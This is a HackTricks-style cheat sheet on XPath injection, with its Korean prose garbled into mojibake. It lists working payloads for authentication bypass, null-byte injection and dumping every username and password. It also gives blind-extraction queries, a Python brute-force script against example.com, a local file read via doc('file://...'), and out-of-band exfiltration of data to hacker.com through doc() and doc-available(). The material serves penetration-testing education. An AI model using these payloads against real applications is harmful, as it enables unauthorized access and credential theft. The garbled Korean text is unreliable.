XPATH injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
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GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
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Basic Syntax
XPath Injection์ผ๋ก ์๋ ค์ง ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ์ฌ์ฉ์ ์ ๋ ฅ์ ๊ธฐ๋ฐ์ผ๋ก XPath (XML Path Language) ์ฟผ๋ฆฌ๋ฅผ ํ์ฑํ์ฌ XML ๋ฌธ์๋ฅผ ์ฟผ๋ฆฌํ๊ฑฐ๋ ํ์ํ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ด์ฉํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
Nodes Described
ํํ์์ XML ๋ฌธ์์์ ๋ค์ํ ๋ ธ๋๋ฅผ ์ ํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ด๋ฌํ ํํ์๊ณผ ๊ทธ ์ค๋ช ์ ์๋์ ์์ฝ๋์ด ์์ต๋๋ค:
- nodename: โnodenameโ์ด๋ผ๋ ์ด๋ฆ์ ๊ฐ์ง ๋ชจ๋ ๋ ธ๋๊ฐ ์ ํ๋ฉ๋๋ค.
- /: ๋ฃจํธ ๋ ธ๋์์ ์ ํ์ด ์ด๋ฃจ์ด์ง๋๋ค.
- //: ํ์ฌ ๋ ธ๋์์ ์ ํ๊ณผ ์ผ์นํ๋ ๋ ธ๋๊ฐ ๋ฌธ์ ๋ด ์์น์ ๊ด๊ณ์์ด ์ ํ๋ฉ๋๋ค.
- .: ํ์ฌ ๋ ธ๋๊ฐ ์ ํ๋ฉ๋๋ค.
- ..: ํ์ฌ ๋ ธ๋์ ๋ถ๋ชจ๊ฐ ์ ํ๋ฉ๋๋ค.
- @: ์์ฑ์ด ์ ํ๋ฉ๋๋ค.
XPath Examples
๊ฒฝ๋ก ํํ์๊ณผ ๊ทธ ๊ฒฐ๊ณผ์ ์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- bookstore: โbookstoreโ๋ผ๋ ์ด๋ฆ์ ๊ฐ์ง ๋ชจ๋ ๋ ธ๋๊ฐ ์ ํ๋ฉ๋๋ค.
- /bookstore: ๋ฃจํธ ์์ bookstore๊ฐ ์ ํ๋ฉ๋๋ค. ์ฌ๋์ (/)๋ก ์์ํ๋ ๊ฒฝ๋ก๋ ์์์ ๋ํ ์ ๋ ๊ฒฝ๋ก๋ฅผ ๋ํ๋ ๋๋ค.
- bookstore/book: bookstore์ ์์์ธ ๋ชจ๋ book ์์๊ฐ ์ ํ๋ฉ๋๋ค.
- //book: ๋ฌธ์ ๋ด ๋ชจ๋ book ์์๊ฐ ์ ํ๋ฉ๋๋ค, ์์น์ ๊ด๊ณ์์ด.
- bookstore//book: bookstore ์์์ ์์์ธ ๋ชจ๋ book ์์๊ฐ ์ ํ๋ฉ๋๋ค, bookstore ์์ ์๋์ ์์น์ ๊ด๊ณ์์ด.
- //@lang: lang์ด๋ผ๋ ์ด๋ฆ์ ๊ฐ์ง ๋ชจ๋ ์์ฑ์ด ์ ํ๋ฉ๋๋ค.
Utilization of Predicates
์ ํ์ ์ธ๋ถํํ๊ธฐ ์ํด ์ ์ด๊ฐ ์ฌ์ฉ๋ฉ๋๋ค:
- /bookstore/book[1]: bookstore ์์์ ์ฒซ ๋ฒ์งธ book ์์ ์์์ด ์ ํ๋ฉ๋๋ค. IE ๋ฒ์ 5์์ 9๊น์ง์ ๊ฒฝ์ฐ ์ฒซ ๋ฒ์งธ ๋ ธ๋๋ฅผ [0]์ผ๋ก ์ธ๋ฑ์ฑํ๋ ์ฐํ ๋ฐฉ๋ฒ์ JavaScript๋ฅผ ํตํด SelectionLanguage๋ฅผ XPath๋ก ์ค์ ํ๋ ๊ฒ์ ๋๋ค.
- /bookstore/book[last()]: bookstore ์์์ ๋ง์ง๋ง book ์์ ์์์ด ์ ํ๋ฉ๋๋ค.
- /bookstore/book[last()-1]: bookstore ์์์ ๋ง์ง๋ง์์ ๋ ๋ฒ์งธ book ์์ ์์์ด ์ ํ๋ฉ๋๋ค.
- /bookstore/book[position()<3]: bookstore ์์์ ์ฒซ ๋ book ์์ ์์์ด ์ ํ๋ฉ๋๋ค.
- //title[@lang]: lang ์์ฑ์ด ์๋ ๋ชจ๋ title ์์๊ฐ ์ ํ๋ฉ๋๋ค.
- //title[@lang=โenโ]: โlangโ ์์ฑ ๊ฐ์ด โenโ์ธ ๋ชจ๋ title ์์๊ฐ ์ ํ๋ฉ๋๋ค.
- /bookstore/book[price>35.00]: ๊ฐ๊ฒฉ์ด 35.00๋ณด๋ค ํฐ bookstore์ ๋ชจ๋ book ์์๊ฐ ์ ํ๋ฉ๋๋ค.
- /bookstore/book[price>35.00]/title: ๊ฐ๊ฒฉ์ด 35.00๋ณด๋ค ํฐ bookstore์ book ์์์ ๋ชจ๋ title ์์๊ฐ ์ ํ๋ฉ๋๋ค.
Handling of Unknown Nodes
์์ผ๋์นด๋๋ ์ ์ ์๋ ๋ ธ๋๋ฅผ ์ผ์น์ํค๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค:
- *: ๋ชจ๋ ์์ ๋ ธ๋์ ์ผ์นํฉ๋๋ค.
- @*: ๋ชจ๋ ์์ฑ ๋ ธ๋์ ์ผ์นํฉ๋๋ค.
- node(): ๋ชจ๋ ์ข ๋ฅ์ ๋ ธ๋์ ์ผ์นํฉ๋๋ค.
์ถ๊ฐ ์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- /bookstore/*: bookstore ์์์ ๋ชจ๋ ์์ ์์ ๋ ธ๋๊ฐ ์ ํ๋ฉ๋๋ค.
- //*: ๋ฌธ์ ๋ด ๋ชจ๋ ์์๊ฐ ์ ํ๋ฉ๋๋ค.
- //title[@*]: ์ ์ด๋ ํ๋์ ์์ฑ์ด ์๋ ๋ชจ๋ title ์์๊ฐ ์ ํ๋ฉ๋๋ค.
Example
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
์ ๋ณด๋ฅผ ์ก์ธ์คํ๋ค
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
์คํค๋ง ์๋ณ ๋ฐ ํ์ทจ
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
์ธ์ฆ ์ฐํ
์ฟผ๋ฆฌ ์์:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
์ฌ์ฉ์ ๋ฐ ๋น๋ฐ๋ฒํธ์์ OR ์ฐํ (๋ ๊ฐ์ด ๋์ผํจ)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
๋ ์ฃผ์ ์ ์ฉ
Username: ' or 1]%00
์ฌ์ฉ์ ์ด๋ฆ ๋๋ ๋น๋ฐ๋ฒํธ์์ Double OR (์ทจ์ฝํ ํ๋๊ฐ 1๊ฐ๋ง ์์ด๋ ์ ํจํจ)
์ค์: โandโ๊ฐ ์ฒซ ๋ฒ์งธ๋ก ์ํ๋๋ ์ฐ์ฐ์์ ์ฃผ์ํ์ธ์.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2ยบ account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
๋ฌธ์์ด ์ถ์ถ
์ถ๋ ฅ์๋ ๋ฌธ์์ด์ด ํฌํจ๋์ด ์์ผ๋ฉฐ ์ฌ์ฉ์๋ ๊ฐ์ ์กฐ์ํ์ฌ ๊ฒ์ํ ์ ์์ต๋๋ค:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
๋ธ๋ผ์ธ๋ ์ต์คํ๋ก์
๊ฐ์ ๊ธธ์ด๋ฅผ ๊ฐ์ ธ์ค๊ณ ๋น๊ต๋ฅผ ํตํด ์ถ์ถํ๊ธฐ:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
ํ์ด์ฌ ์์
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
ํ์ผ ์ฝ๊ธฐ
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB ์ต์คํ๋ก์
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
์๋ ๋๊ตฌ
์ฐธ๊ณ ๋ฌธํ
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


